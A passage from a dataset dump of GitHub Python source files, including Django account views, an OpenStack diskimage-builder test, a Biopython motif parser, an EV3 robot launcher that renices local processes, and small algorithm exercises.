app\r\n","repo_name":"abhra2020-smart/python-flask-bootstrap-template","sub_path":"website/backend/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"73610813368","text":"import os\r\nimport random\r\nfrom random_word import RandomWords\r\nimport time\r\n\r\nr = RandomWords()\r\nFILE = r\"test2.txt\"\r\n\r\nfo = open(FILE, \"w+\")\r\n\r\nwords = [\r\n    \"alonso\",\r\n    \"perro\",\r\n    \"gato\",\r\n    \"mascota\",\r\n    \"pepe\",\r\n    \"monica\",\r\n    \"loro\",\r\n    \"anastasia\",\r\n    \"melanie\",\r\n    \"pavlov\",\r\n    \"amnesia\",\r\n    \"interesante\",\r\n    \"picante\",\r\n    \"tapir\",\r\n    \"valdivia\",\r\n    \"cloud\",\r\n    \"computer\",\r\n    \"science\",\r\n]\r\n\r\n\r\ndef get_size():\r\n    return os.path.getsize(FILE)\r\n\r\n\r\n# 1 MB = 1e6 bytes\r\n\r\n\r\ndef create_words(n_words):\r\n    global words\r\n    i = 0\r\n    while i < n_words:\r\n        word = r.get_random_word()\r\n        if word is not None:\r\n            words.append(word)\r\n            i += 1\r\n    words.append(\"\\n\")\r\n\r\n\r\nMB = 1000000\r\n\r\n\r\ndef main():\r\n    create_words(10)\r\n    print(words)\r\n    inicio = time.time()\r\n    while get_size() < (500* MB):\r\n        r = random.randint(0, len(words) - 1)\r\n        if r == len(words) - 1:\r\n            fo.write(words[r])\r\n        else:\r\n            fo.write(words[r] + \" \")\r\n    fin = time.time()\r\n    print(fin - inicio)  # 1.0005340576171875\r\n    fo.close()\r\n    print(\"File \" + fo.name + \" ready! with:\", get_size() / MB, \"MB\")\r\n\r\n\r\nmain()\r\n","repo_name":"Adriana618/Cloud-Computing","sub_path":"generate_data.py","file_name":"generate_data.py","file_ext":"py","file_size_in_byte":1213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"196369282","text":"from django.contrib import messages\nfrom django.contrib.auth import authenticate, login\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.models import User\nfrom django.http import HttpResponse\nfrom django.http import JsonResponse\nfrom django.shortcuts import get_object_or_404\nfrom django.shortcuts import render\nfrom django.views.decorators.http import require_POST\n\nfrom actions.models import Action\nfrom actions.utils import create_action\nfrom common.decorators import ajax_required\nfrom .forms import LoginForm, UserRegistrationForm, UserEditForm, ProfileEditForm\nfrom .models import Contact\nfrom .models import Profile\n\n\n# Create your views here.\ndef user_login(request): # Custom login view\n    if request.method == 'POST': # if form is submited\n        print(request.POST)\n        form = LoginForm(request.POST) # Instantiate the form with the submitted data with form = LoginForm(request.POST)\n        if form.is_valid():\n            cd = form.cleaned_data\n            user = authenticate(request,\n                                username=cd['name'],\n                                password=cd['password']) # check user credentials and returns a User object if corected\n            if user is not None:\n                if user.is_active:\n                    login(request, user) #just like flask, sets user in the current session\n                    return HttpResponse('Authenticated successfully')\n                else:\n                    return HttpResponse('Disabled account')\n            else:\n                return HttpResponse('Invalid login')\n    else: #render form when get request\n        form = LoginForm()\n        return render(request, 'account/login.html', {'form': form})\n\n\n@login_required\ndef dashboard(request):\n    # Display all actions by default\n    actions = Action.objects.exclude(user=request.user)\n    print(request.user.following)\n    following_ids = request.user.following.values_list('id',\n                                                       flat=True)\n    if following_ids:\n        # if user is following others, retrive only their actions\n        actions = actions.filter(user_id__in=following_ids)\n    #actions = actions[:10]\n    actions = actions.select_related('user', 'user__profile').prefetch_related('target')[:10] #  use user__profile to join the Profile table in a single SQL query\n    print([action.verb for action in actions])\n    return render(request,\n                  'account/dashboard.html',\n                  {'section': 'dashboard',\n                   'actions': actions})\n\n\ndef register(request):\n    if request.method == 'POST':\n        user_form = UserRegistrationForm(request.POST)\n        if user_form.is_valid():\n            # Create a new user object but avoid saving it yet\n            new_user = user_form.save(commit=False)\n            # Set the chosen password\n            new_user.set_password( # hash user password\n                user_form.cleaned_data['password']\n            )\n            # Save user object\n            new_user.save()\n            # Create the user profile\n            Profile.objects.create(user=new_user)\n            create_action(new_user, 'has created an account')\n            return render(request,\n                          'account/register_done.html',\n                          {'new_user': new_user})\n    else:\n        user_form = UserRegistrationForm()\n    return render(request,\n                  'account/register.html',\n                  {'user_form': user_form})\n\n\n@login_required\ndef edit(request):\n    print(request.method)\n    if request.method == 'POST':\n        print(request.user)\n        print(request.POST)\n        user_form = UserEditForm(instance=request.user,\n                                 data=request.POST)\n        profile_form = ProfileEditForm(instance=request.user.profile,\n                                       data=request.POST,\n                                       files=request.FILES)\n        if user_form.is_valid() and profile_form.is_valid():\n            user_form.save()\n            profile_form.save()\n            messages.success(request, \"Profile updated successfully\")\n        else:\n            messages.error(request, \"Error updating your profile\")\n    else:\n        user_form = UserEditForm(instance=request.user)\n        profile_form = ProfileEditForm(instance=request.user.profile)\n\n    return render(request,\n                  'account/edit.html',\n                  {'user_form': user_form,\n                   'profile_form': profile_form})\n\n\n@login_required\ndef user_list(request):\n    users = User.objects.filter(is_active=True)\n    return render(request,\n                  'account/user/list.html',\n                  {'section': 'people',\n                   'users': users})\n\n\n@login_required\ndef user_detail(request, username):\n    user = get_object_or_404(User, username=username, is_active=True)\n    return render(request,\n                  'account/user/detail.html',\n                  {'section': 'people',\n                   'user': user})\n\n\n@ajax_required\n@require_POST\n@login_required\ndef user_follow(request):\n    user_id = request.POST.get('id')\n    action = request.POST.get('action')\n    if user_id and action:\n        try:\n            user = User.objects.get(id=user_id)\n            if action == 'follow':\n                \"\"\"\n                Since you are using a custom intermediary model for the user's many-to-many relationship, \n                the default add() and remove() methods of the automatic manager of ManyToManyField are not available. \n                You use the intermediary Contact model to create or delete user relationships. \n                \"\"\"\n                Contact.objects.get_or_create(\n                    user_from=request.user,\n                    user_to=user\n                )\n                create_action(request.user, 'is following', user)\n            else:\n                # unfollow\n                Contact.objects.filter(user_from=request.user,\n                                       user_to=user).delete()\n\n            return JsonResponse({'status': 'ok'})\n        except User.DoesNotExist:\n            return JsonResponse({'status':'error'})\n    return JsonResponse({'status': 'error'})\n","repo_name":"MichalGul/Django_projects","sub_path":"bookmarks/account/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"27099715709","text":"class Solution:\n    def partitionLabels(self, S: str) -> List[int]:\n        loc = [[-1,-1] for i in range(26)]\n        for i,c in enumerate(S):\n            index = ord(c)-97\n            if loc[index][0]==-1:\n                loc[index][0]=i\n            loc[index][1]=i\n        last = -1\n        pool = []\n        ans = []\n        for i,c in enumerate(S):\n            index = ord(c)-97\n            if i==loc[index][0]:\n                pool.append(index)\n            if i==loc[index][1]:\n                pool.remove(index)\n            if len(pool)==0:\n                ans = ans + [i-last]\n                last = i\n        return ans","repo_name":"0xtinyuk/LeetCode","sub_path":"Algorithms/763. Partition Labels.py","file_name":"763. Partition Labels.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"15379708509","text":"# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport codecs\nimport fixtures\nimport json\nimport logging\nimport os\n\nfrom stevedore import extension\nfrom testtools.matchers import FileExists\n\nimport diskimage_builder.block_device.blockdevice as bd\nimport diskimage_builder.block_device.tests.test_base as tb\n\nfrom diskimage_builder.block_device.exception import \\\n    BlockDeviceSetupException\n\nlogger = logging.getLogger(__name__)\n\n\nclass TestStateBase(tb.TestBase):\n\n    def setUp(self):\n        super(TestStateBase, self).setUp()\n\n        # override the extensions to the test extensions\n        test_extensions = extension.ExtensionManager(\n            namespace='diskimage_builder.block_device.plugin_test',\n            invoke_on_load=False)\n        extensions_fixture = fixtures.MonkeyPatch(\n            'diskimage_builder.block_device.config._extensions',\n            test_extensions)\n        self.useFixture(extensions_fixture)\n\n        # status and other bits saved here\n        self.build_dir = fixtures.TempDir()\n        self.useFixture(self.build_dir)\n\n\nclass TestState(TestStateBase):\n\n    # The the state generation & saving methods\n    def test_state_create(self):\n        params = {\n            'build-dir': self.build_dir.path,\n            'config': self.get_config_file('cmd_create.yaml')\n        }\n\n        bd_obj = bd.BlockDevice(params)\n\n        bd_obj.cmd_init()\n        bd_obj.cmd_create()\n\n        # cmd_create should have persisted this to disk\n        state_file = bd_obj.state_json_file_name\n        self.assertThat(state_file, FileExists())\n\n        # ensure we see the values put in by the test extensions\n        # persisted\n        with codecs.open(state_file, encoding='utf-8', mode='r') as fd:\n            state = json.load(fd)\n        self.assertDictEqual(state,\n                             {'test_a': {'value': 'foo',\n                                         'value2': 'bar'},\n                              'test_b': {'value': 'baz'},\n                              'test_init_state': 'here'})\n\n        pickle_file = bd_obj.node_pickle_file_name\n        self.assertThat(pickle_file, FileExists())\n\n        # run umount, which should load the picked nodes and run in\n        # reverse.  This will create some state in \"test_b\" that it\n        # added to by \"test_a\" ... ensuring it was run backwards.  It\n        # also checks the state was persisted through the pickling\n        # process.\n        bd_obj.cmd_umount()\n\n    # Test state going missing between phases\n    def test_missing_state(self):\n        params = {\n            'build-dir': self.build_dir.path,\n            'config': self.get_config_file('cmd_create.yaml')\n        }\n\n        bd_obj = bd.BlockDevice(params)\n        bd_obj.cmd_init()\n        bd_obj.cmd_create()\n\n        # cmd_create should have persisted this to disk\n        state_file = bd_obj.state_json_file_name\n        self.assertThat(state_file, FileExists())\n        pickle_file = bd_obj.node_pickle_file_name\n        self.assertThat(pickle_file, FileExists())\n\n        # simulate the state somehow going missing, and ensure that\n        # later calls notice\n        os.unlink(state_file)\n        os.unlink(pickle_file)\n        # This reads from the state dump json file\n        self.assertRaisesRegex(BlockDeviceSetupException,\n                               \"State dump not found\",\n                               bd_obj.cmd_getval, 'image-path')\n        self.assertRaisesRegex(BlockDeviceSetupException,\n                               \"State dump not found\",\n                               bd_obj.cmd_writefstab)\n\n        # this uses the pickled nodes\n        self.assertRaisesRegex(BlockDeviceSetupException,\n                               \"Pickle file not found\",\n                               bd_obj.cmd_delete)\n        self.assertRaisesRegex(BlockDeviceSetupException,\n                               \"Pickle file not found\",\n                               bd_obj.cmd_cleanup)\n\n        # XXX: figure out unit test for umount\n\n    # Test ordering of rollback calls if create() fails\n    def test_rollback(self):\n        params = {\n            'build-dir': self.build_dir.path,\n            'config': self.get_config_file('rollback.yaml'),\n            'test_rollback': True\n        }\n\n        bd_obj = bd.BlockDevice(params)\n        bd_obj.cmd_init()\n\n        # The config file has flags in that tell the last node to\n        # fail, which will trigger the rollback.\n        self.assertRaises(RuntimeError, bd_obj.cmd_create)\n\n        # cmd_create should have persisted this to disk even after the\n        # failure\n        state_file = bd_obj.state_json_file_name\n        self.assertThat(state_file, FileExists())\n        with codecs.open(state_file, encoding='utf-8', mode='r') as fd:\n            state = json.load(fd)\n\n        # ensure the rollback was called in order\n        self.assertListEqual(state['rollback_test'],\n                             ['never', 'gonna', 'give', 'you', 'up',\n                              'never', 'gonna', 'let', 'you', 'down'])\n","repo_name":"openstack/diskimage-builder","sub_path":"diskimage_builder/block_device/tests/test_state.py","file_name":"test_state.py","file_ext":"py","file_size_in_byte":5527,"program_lang":"python","lang":"en","doc_type":"code","stars":333,"dataset":"github-code","pt":"77"}
+{"seq_id":"2632963210","text":"import h5py\nimport os\nimport numpy as np\nimport cv2\nimport matplotlib.pyplot as plt\nimport open3d as o3d\n\nfrom utils import colored_depthmap\nfrom fill_depth2 import fill_depth_colorization\n\n\ndef visualize_h5f(h5_path):\n    '''\n    :param h5_path:\n    :return: void\n    visualize bgr + colorized depth + colorized LiDAR\n    '''\n    h5f = h5py.File(h5_path, \"r\")\n    rgb_data = np.array(h5f['rgb'], dtype=np.uint8)\n    # Originally, shape of rgb_data: (3, 480, 640)\n    rgb = np.transpose(rgb_data, (1, 2, 0))\n    bgr = rgb[:, :, ::-1]\n\n    depth = np.array(h5f['depth'], dtype=np.float32)\n    max_depth = np.amax(depth)\n    min_depth = np.amin(depth)\n    colored_depth = np.array(colored_depthmap(depth, min_depth, max_depth), dtype=np.uint8)\n    colored_depth = colored_depth[:, :, ::-1]\n\n    projected = np.array(h5f['scan_projected'], dtype=np.float32)\n    colored_pc = np.array(colored_depthmap(projected, min_depth, max_depth), dtype=np.uint8)\n    colored_pc = colored_pc[:, :, ::-1]\n    im_result = cv2.hconcat([bgr, colored_depth, colored_pc])\n    cv2.imshow(\"visualized\", im_result)\n    cv2.waitKey(0)\n    # cv2.destroyAllWindows()\n\n\ndef visualize_depth_and_projected_img(img_path, h5_path):\n    '''\n     :param h5_path, LiDAR-projected RGB img_path:\n     :return: void\n     visualize bgr with colorized LiDAR projected + colorized depth\n     '''\n    h5f = h5py.File(h5_path, \"r\")\n    depth = np.array(h5f['depth'], dtype=np.float32)\n    #print(\"Shape of depth: \", depth.shape)\n    max_depth = np.amax(depth)\n    min_depth = np.amin(depth)\n    colored_depth = np.array(colored_depthmap(depth, min_depth, max_depth), dtype=np.uint8)\n    #print(\"Shape of colored_depth: \", colored_depth.shape)\n    colored_depth = colored_depth[:, :, ::-1]\n\n    projected_img = cv2.imread(img_path, cv2.IMREAD_COLOR)\n    print(projected_img.shape)\n\n    im_result = cv2.hconcat([projected_img, colored_depth])\n    cv2.imshow(\"visualized\", im_result)\n    cv2.waitKey(0)\n    # cv2.destroyAllWindows()\n\n\nif __name__ == \"__main__\":\n\n    ## variable to change! ##\n    dir_name = 'for_pcl'\n\n    #for hj laptop - external SSD\n    h5_file_path = '/media/hj/Samsung_T5/icra2020/'+ dir_name + '/h5'\n\n    fList = os.listdir(h5_file_path)\n    new_list = sorted(fList, key=lambda x: int(x[:-3]))\n    print(new_list)\n\n    count = 0\n\n    for csv_file in new_list:\n\n        print(csv_file)\n        print(os.path.join(h5_file_path, csv_file))\n\n        visualize_depth_and_projected_img(projected_img_save_path + '/' + csv_file[:-3] + '.png', os.path.join(h5_file_path, csv_file))\n        visualize_h5f(os.path.join(h5_file_path, csv_file))\n\n        count += 1\n\n        # if count == 1:\n        #     break\n","repo_name":"HyeonJaeGil/icra20","sub_path":"script/python_code/visualize_img_from_h5.py","file_name":"visualize_img_from_h5.py","file_ext":"py","file_size_in_byte":2676,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"39627720899","text":"from abc import ABC, abstractmethod\nfrom dataclasses import dataclass, field\nfrom typing import Callable, Optional, Tuple\n\nimport numpy as np\nimport scipy.optimize as optimize\nfrom numpy.typing import ArrayLike, NDArray\nfrom scipy.constants import c\n\nField = NDArray[np.complex128]\n\n\n@dataclass(repr=False, frozen=True)\nclass Mode(ABC):\n    lam: float\n    a: float\n    n_core: float\n    n_clad: float\n    n: int\n    m: int\n    beta: float = field(init=False)\n    power: Optional[float] = field(default=None)\n\n    def __repr__(self):\n        name = type(self).__name__\n        return f\"{name}({self.n}, {self.m})\"\n\n    @property\n    def k(self) -> float:\n        return 2 * np.pi / self.lam\n\n    @property\n    def omega(self) -> float:\n        return c * self.k\n\n    @property\n    def V(self) -> float:\n        return self.k * self.a * np.sqrt(self.n_core ** 2 - self.n_clad ** 2)\n\n    @property\n    def u(self) -> float:\n        return self.a * np.sqrt((self.k * self.n_core) ** 2 - self.beta ** 2)\n\n    @property\n    def w(self) -> float:\n        return self.a * np.sqrt(self.beta ** 2 - (self.k * self.n_clad) ** 2)\n\n    @staticmethod\n    def get_broadcast_shape(*args: ArrayLike) -> Tuple[int, ...]:\n        shapes = [np.shape(x) for x in args]\n        return np.broadcast_shapes(*shapes)\n\n    @staticmethod\n    def zero_field(r: ArrayLike,\n                   theta: ArrayLike,\n                   phi: ArrayLike = 0.0) -> Field:\n        shape = np.broadcast_shapes(Mode.get_broadcast_shape(r, theta, phi))\n        return np.zeros(shape, dtype=np.complex128)\n\n    @abstractmethod\n    def calc_beta(\n        self,\n        eigenvalue_equation: Callable[[float], float]\n    ) -> float:\n        # get zero crossings\n        u = np.linspace(0, self.V, 500)[1:-1]\n        eve = eigenvalue_equation(u)\n        eve[np.abs(eve) > self._tol] = np.nan\n        zero_crossings = np.where(eve[:-1] * eve[1:] < 0)[0]\n\n        # if the mth zero-crossing doesn't exit, the mth mode cannot be excited\n        if len(zero_crossings) < self.m:\n            return np.nan\n\n        # solve eve\n        i_zc = zero_crossings[self.m - 1]\n        bracket = (u[i_zc], u[i_zc + 1])\n        u_root = optimize.root_scalar(eigenvalue_equation,\n                                      bracket=bracket,\n                                      method=\"bisect\").root\n\n        # return beta\n        return np.sqrt(self.k ** 2 * self.n_core ** 2 - (u_root / self.a) ** 2)\n\n    # electric field\n    @abstractmethod\n    def er(self,\n           r: ArrayLike,\n           theta: ArrayLike,\n           phi: ArrayLike = 0.0) -> Field:\n        ...\n\n    @abstractmethod\n    def et(self,\n           r: ArrayLike,\n           theta: ArrayLike,\n           phi: ArrayLike = 0.0) -> Field:\n        ...\n\n    @abstractmethod\n    def ez(self,\n           r: ArrayLike,\n           theta: ArrayLike,\n           phi: ArrayLike = 0.0) -> Field:\n        ...\n\n    @abstractmethod\n    def ex(self,\n           r: ArrayLike,\n           theta: ArrayLike,\n           phi: ArrayLike = 0.0) -> Field:\n        return (self.er(r, theta, phi) * np.cos(theta)\n                - self.et(r, theta, phi) * np.sin(theta))\n\n    @abstractmethod\n    def ey(self,\n           r: ArrayLike,\n           theta: ArrayLike,\n           phi: ArrayLike = 0.0) -> Field:\n        return (self.er(r, theta, phi) * np.sin(theta)\n                + self.et(r, theta, phi) * np.cos(theta))\n\n    # magnetic field\n    @abstractmethod\n    def hr(self,\n           r: ArrayLike,\n           theta: ArrayLike,\n           phi: ArrayLike = 0.0) -> Field:\n        ...\n\n    @abstractmethod\n    def ht(self,\n           r: ArrayLike,\n           theta: ArrayLike,\n           phi: ArrayLike = 0.0) -> Field:\n        ...\n\n    @abstractmethod\n    def hz(self,\n           r: ArrayLike,\n           theta: ArrayLike,\n           phi: ArrayLike = 0.0) -> Field:\n        ...\n\n    @abstractmethod\n    def hx(self,\n           r: ArrayLike,\n           theta: ArrayLike,\n           phi: ArrayLike = 0.0) -> Field:\n        return (self.hr(r, theta, phi) * np.cos(theta)\n                - self.ht(r, theta, phi) * np.sin(theta))\n\n    @abstractmethod\n    def hy(self,\n           r: ArrayLike,\n           theta: ArrayLike,\n           phi: ArrayLike = 0.0) -> Field:\n        return (self.hr(r, theta, phi) * np.sin(theta)\n                + self.ht(r, theta, phi) * np.cos(theta))\n","repo_name":"kenmoriyou/fibermode","sub_path":"fibermode/mode.py","file_name":"mode.py","file_ext":"py","file_size_in_byte":4349,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"3125604503","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Jan 31 21:18:13 2020\r\n\r\n@author: Ravit Ben David\r\n\"\"\"\r\n\r\nimport numpy as np \r\n\r\n\r\n\r\ndef main():\r\n    arr1 = np.array([[1, 2, 3],[2, 5, 4]])\r\n    arr2 = np.array([[5,7],[9,6],[1,2]])\r\n    print(addmin(arr1,arr2))\r\n\r\n\r\n\r\ndef addmin(arr1,arr2):\r\n    #טענת כניסה: הפעולה מקבלת 2 מטריצות \r\n    #טענת יציאה: הפעולה מחזירה את המטריצה שבה תוצאת פעולת החיבור המינימלי\r\n    if(np.size(arr1,0)==np.size(arr2,0)and np.size(arr1,1)==np.size(arr2,1)):\r\n        return arr1+arr2\r\n    li3 = arr1.tolist()\r\n    li4 = arr2.tolist()    \r\n    minlines= min(np.size(arr1,0),np.size(arr2,0))\r\n    minrows= min(np.size(arr1,1),np.size(arr2,1))\r\n    for i in range (minlines):\r\n        if (i==0):\r\n            newarr= np.array([calcList2(minrows,li3[i],li4[i])])\r\n        else:\r\n            newarr =np.append(newarr,[calcList2(minrows,li3[i],li4[i])],0)\r\n    return newarr\r\n        \r\n\r\n        \r\n        \r\n        \r\ndef calcList2(num,li1,li2):\r\n    #טענת כניסה: הפעולה מקבלת שורה מהמטריצה הראשונה והשנייה ומחזירה את השורה של התוצאה\r\n    #טענת יציאה: הפעולה מחזירה שורה של התוצאה\r\n    li=[]\r\n    for i in range(num):\r\n        item=li1[i]+li2[i]\r\n        li.append(item)\r\n    return li\r\n        \r\n        \r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    main()    \r\n","repo_name":"Elaybd2131/matrix-mull-and-add","sub_path":"matrix min add.py","file_name":"matrix min add.py","file_ext":"py","file_size_in_byte":1461,"program_lang":"python","lang":"he","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"26189320174","text":"import os\nimport sys\nfrom time import tzset, strftime, sleep\nimport signal\nimport logging\nimport subprocess\nimport re\nfrom shared_memory import SharedMemory\nfrom runner import runner\nfrom guide import guide\nfrom pistol import pistol\nfrom ev3dev.auto import Motor\nfrom settings import load_settings\n\ng_log = logging.getLogger(__name__)\n\n###############################################################\n##\n## 確実に倒立真摯に関係ないプロセスのナイス値を下げる\n##\n###############################################################\ndef renice_low_priority_processes():\n    nice_value = 19\n    process_names = \"-e [b]rickman\"\n    cmds = \"ps lax | grep {} | awk '{{print $3}}' | xargs sudo renice {} -p\".format(process_names, nice_value)\n    subprocess.check_output(cmds, shell=True)\n\n\n###############################################################\n##\n## カーネル空間にあるデバイス制御に使われそうなkworkerのpidを特定し、nice値を上げる\n##\n###############################################################\ndef renice_driver_kworkers(nice_value):\n    process_names = \"-e '[k]worker/u2' -e '[k]worker/0'\" # -e [w]riteback -e [k]blockd -e [r]cu_preempt -e [r]cu_sched -e [r]cu_bh -e [e]v3-tac -e [t]i-ads7\"\n    cmds = \"ps aux | grep {} | awk '{{print $2}}' | xargs sudo renice {} -p\".format(process_names, nice_value)\n    subprocess.check_output(cmds, shell=True)\n\n###############################################################\n##\n## ライントレースプログラムに関わる全てのプロセスのnice値を調整する\n##\n###############################################################\ndef renice_processes():\n    renice_low_priority_processes()\n    nice_value = -20\n    renice_driver_kworkers(nice_value)\n    os.nice(nice_value) # 自分のnice値も下げる\n\n###############################################################\n##\n## しっぽモーターを自立できる角度で固定する\n##\n###############################################################\ndef stand_on_tail_motor():\n    tail_motor = Motor('outA')\n    tail_motor.run_timed(time_sp=1000, speed_sp=-200, stop_action='hold') # しっぽを一番上に上げる\n    sleep(1)\n    tail_motor.reset() # しっぽが一番上の状態を0度とする\n    tail_motor.run_to_abs_pos(position_sp=98, stop_action='hold', speed_sp=300) # ちょうど安定して立つ角度にする\n\n###############################################################\n##\n## プログラムのタイムゾーンを日本標準時に設定\n##\n###############################################################\ndef set_timezone_jst():\n    os.environ['TZ'] = \"JST-9\"\n    tzset()\n    \n########################################################################\n##\n## メイン：Guide関数とRunner関数用の子プロセスをフォークする\n##\n########################################################################\ndef main():\n    guide_pid = 0\n    runner_pid = 0\n\n    def shutdown():\n        try:\n            if ('guide_pid' in globals()) or ('guide_pid' in locals()):\n                print('Kill Guide')\n                os.kill(guide_pid, signal.SIGTERM)\n            if ('runner_pid' in globals()) or ('runner_pid' in locals()):\n                print('Kill Runner')\n                os.kill(runner_pid, signal.SIGTERM)\n            print('Done')\n\n        except Exception as ex:\n            print(\"It's a Pistol Exception in shutdown\")\n            g_log.exception(ex)\n\n    try:\n        #しっぽモーターを使って自立させる\n        stand_on_tail_motor()\n\n        # logフォルダの生成\n        if not os.path.exists('./log/'):\n            os.mkdir('./log/')\n            \n        # 日本時間に変更\n        set_timezone_jst()\n\n        # 日付フォーマッタを YYYYmmddHHMMSS に指定した\n        log_datetime = strftime(\"%Y%m%d%H%M%S\")\n        print(\"Start time is {}\".format(log_datetime))\n\n        renice_processes()\n\n        # プロセス間共有メモリ\n        sh_mem = SharedMemory()\n\n        # 設定ファイル読み込み\n        setting = load_settings()\n\n        runner_pid = os.fork()\n\n        if runner_pid == 0:\n            # NOTE: 倒立振子ライブラリを使う場合はrunner()を、ライントレーサー開発等で倒立振子ライブラリを使いたくない場合はrunner_stub()を使用すること\n            runner(sh_mem, setting, log_datetime)\n            print('Runner Done')\n            sys.exit()\n\n        guide_pid = os.fork()\n\n        if guide_pid == 0:  # In a child process\n            guide(sh_mem, setting, log_datetime)\n            print('Guide Done')\n            sys.exit()\n\n        pistol(sh_mem)\n\n        shutdown()\n\n    except KeyboardInterrupt as ex:\n        if (runner_pid > 0) and (guide_pid > 0):\n            print(\"It's a KeyboardInterrupt\")\n            shutdown()\n        elif (runner_pid == 0) or (guide_pid == 0):\n            sleep(10)\n\n    except Exception as ex:\n        if (runner_pid > 0) and (guide_pid > 0):\n            print(\"It's a Pistol Exception\")\n            g_log.exception(ex)\n            shutdown()\n        elif (runner_pid == 0):\n            print(\"It's a Runner Exception in shutdown\")\n            g_log.exception(ex)\n        elif (guide_pid == 0):\n            print(\"It's a Guide Exception in shutdown\")\n            g_log.exception(ex)\n\n###############################################################\n##\n## エントリーポイント\n##\n###############################################################\nif __name__ == '__main__':\n    main()\n","repo_name":"ETRobocon2017-TeamD/balanc3r-for-ev3way-et","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5541,"program_lang":"python","lang":"ja","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"70631727608","text":"num = sorted(list(map(int, input().split())))\nabc = list(input())\n\nmin_ordbok = {\n    \"A\": num[0],\n    \"B\": num[1],\n    \"C\": num[2]\n}\n\nfor letter in abc: \n    print(min_ordbok[letter], end=\" \")\n","repo_name":"awasedo/kattis-submissions","sub_path":"solutions/ABC/abc.py","file_name":"abc.py","file_ext":"py","file_size_in_byte":194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"31858992878","text":"from Bio import motifs\n\n\nclass Record(list):\n    \"\"\"Class to store the information in a Cluster Buster matrix table.\n\n    The record inherits from a list containing the individual motifs.\n    \"\"\"\n\n    def __str__(self):\n        \"\"\"Return a string representation of the motifs in the Record object.\"\"\"\n        return \"\\n\".join(str(motif) for motif in self)\n\n\ndef read(handle):\n    \"\"\"Read motifs in Cluster Buster position frequency matrix format from a file handle.\n\n    Cluster Buster motif format: http://zlab.bu.edu/cluster-buster/help/cis-format.html\n    \"\"\"\n    motif_nbr = 0\n    record = Record()\n    nucleotide_counts = {\"A\": [], \"C\": [], \"G\": [], \"T\": []}\n    motif_name = \"\"\n\n    for line in handle:\n        line = line.strip()\n        if line:\n            if line.startswith(\">\"):\n                if motif_nbr != 0:\n                    motif = motifs.Motif(alphabet=\"GATC\", counts=nucleotide_counts)\n                    motif.name = motif_name\n                    record.append(motif)\n\n                motif_name = line[1:].strip()\n                nucleotide_counts = {\"A\": [], \"C\": [], \"G\": [], \"T\": []}\n                motif_nbr += 1\n            else:\n                if line.startswith(\"#\"):\n                    continue\n\n                matrix_columns = line.split()\n\n                if len(matrix_columns) == 4:\n                    [\n                        nucleotide_counts[nucleotide].append(float(nucleotide_count))\n                        for nucleotide, nucleotide_count in zip(\n                            [\"A\", \"C\", \"G\", \"T\"], matrix_columns\n                        )\n                    ]\n\n    motif = motifs.Motif(alphabet=\"GATC\", counts=nucleotide_counts)\n    motif.name = motif_name\n    record.append(motif)\n\n    return record\n\n\ndef write(motifs):\n    \"\"\"Return the representation of motifs in Cluster Buster position frequency matrix format.\"\"\"\n    lines = []\n    for m in motifs:\n        line = f\">{m.name}\\n\"\n        lines.append(line)\n        for ACGT_counts in zip(\n            m.counts[\"A\"], m.counts[\"C\"], m.counts[\"G\"], m.counts[\"T\"]\n        ):\n            lines.append(\"{:0.0f}\\t{:0.0f}\\t{:0.0f}\\t{:0.0f}\\n\".format(*ACGT_counts))\n\n    # Finished; glue the lines together.\n    text = \"\".join(lines)\n\n    return text\n","repo_name":"biopython/biopython","sub_path":"Bio/motifs/clusterbuster.py","file_name":"clusterbuster.py","file_ext":"py","file_size_in_byte":2251,"program_lang":"python","lang":"en","doc_type":"code","stars":3852,"dataset":"github-code","pt":"77"}
+{"seq_id":"15599616012","text":"from __future__ import absolute_import\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom __future__ import division\n\ndef setup():\n    u'''\n        This will import modules config_default and config and move their variables\n        into current module (variables in config have higher priority than config_default).\n        Thanks to this, you can import settings anywhere in the application and you'll get\n        actual application settings.\n\n        This config is related to server side. You don't need config.py if you\n        want to use client part only.\n    '''\n\n    def read_values(cfg):\n        for varname in list(cfg.__dict__.keys()):\n            if varname.startswith(u'__'):\n                continue\n\n            value = getattr(cfg, varname)\n            yield (varname, value)\n\n    from . import config_default\n\n    try:\n        import conf.config as config\n    except ImportError:\n        # Custom config not presented, but we can still use defaults\n        config = None\n\n    import sys\n    module = sys.modules[__name__]\n\n    for name, value in read_values(config_default):\n        module.__dict__[name] = value\n\n    changes = {}\n    if config:\n        for name, value in read_values(config):\n            if value != module.__dict__.get(name, None):\n                changes[name] = value\n            module.__dict__[name] = value\n\n    if module.__dict__[u'DEBUG'] and changes:\n        print(u\"----------------\")\n        print(u\"Custom settings:\")\n        for k, v in list(changes.items()):\n            if u'passw' in k.lower():\n                print((k, u\": ********\"))\n            else:\n                print((k, u\":\", v))\n        